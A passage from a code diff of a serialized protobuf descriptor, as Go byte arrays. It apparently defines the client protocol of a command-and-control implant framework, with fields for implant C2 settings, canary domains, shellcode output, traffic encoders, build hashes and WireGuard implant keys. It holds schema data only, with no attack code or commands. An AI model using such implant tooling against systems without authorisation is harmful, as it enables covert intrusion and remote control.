0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, - 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, - 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, - 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, - 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, - 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, - 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, - 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, - 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, - 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, - 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, - 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, - 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, - 0x4c, 0x69, 0x62, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, 0x64, - 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, 0x4c, 0x6f, 0x61, - 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x6a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, 0x6c, 0x65, 0x12, - 0x2b, 0x0a, 0x10, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x96, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x48, 0x54, 0x54, 0x50, - 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x23, 0x0a, 0x0c, - 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x97, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x64, 0x12, 0x37, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x98, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x29, 0x0a, 0x0f, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x99, 0x01, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x18, - 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, 0x74, 0x73, 0x22, 0x7a, - 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, - 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, 0x74, - 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, 0x70, 0x54, 0x65, 0x73, - 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, 0x01, 0x0a, 0x11, 0x54, - 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, - 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa6, - 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x6f, 0x6d, - 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x43, 0x6f, - 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, - 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, - 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x10, 0x0a, - 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, - 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, - 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, - 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, - 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0d, - 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, - 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x22, 0xa6, 0x01, - 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2c, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x52, - 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x2e, 0x0a, 0x06, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, - 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x22, 0x77, 0x0a, 0x15, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, - 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x2d, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, + 0x73, 0x12, 0x24, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, - 0xbe, 0x03, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, - 0x73, 0x12, 0x3e, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x73, 0x12, 0x4a, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, - 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0b, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x12, 0x3b, 0x0a, - 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x06, 0x73, 0x74, 0x61, 0x67, 0x65, 0x64, 0x1a, 0x53, 0x0a, 0x0c, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, - 0x54, 0x0a, 0x10, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x27, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x52, 0x65, 0x71, 0x12, 0x14, 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, 0x0c, 0x49, 0x6d, - 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10, - 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4d, 0x44, 0x35, - 0x12, 0x12, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x53, 0x48, 0x41, 0x31, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, 0x16, 0x0a, 0x06, - 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, - 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, - 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, - 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, - 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, - 0x65, 0x79, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, - 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, - 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, - 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, - 0x74, 0x75, 0x72, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, - 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0d, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x13, - 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, - 0x65, 0x73, 0x74, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, - 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x12, 0x2a, - 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, - 0x65, 0x79, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 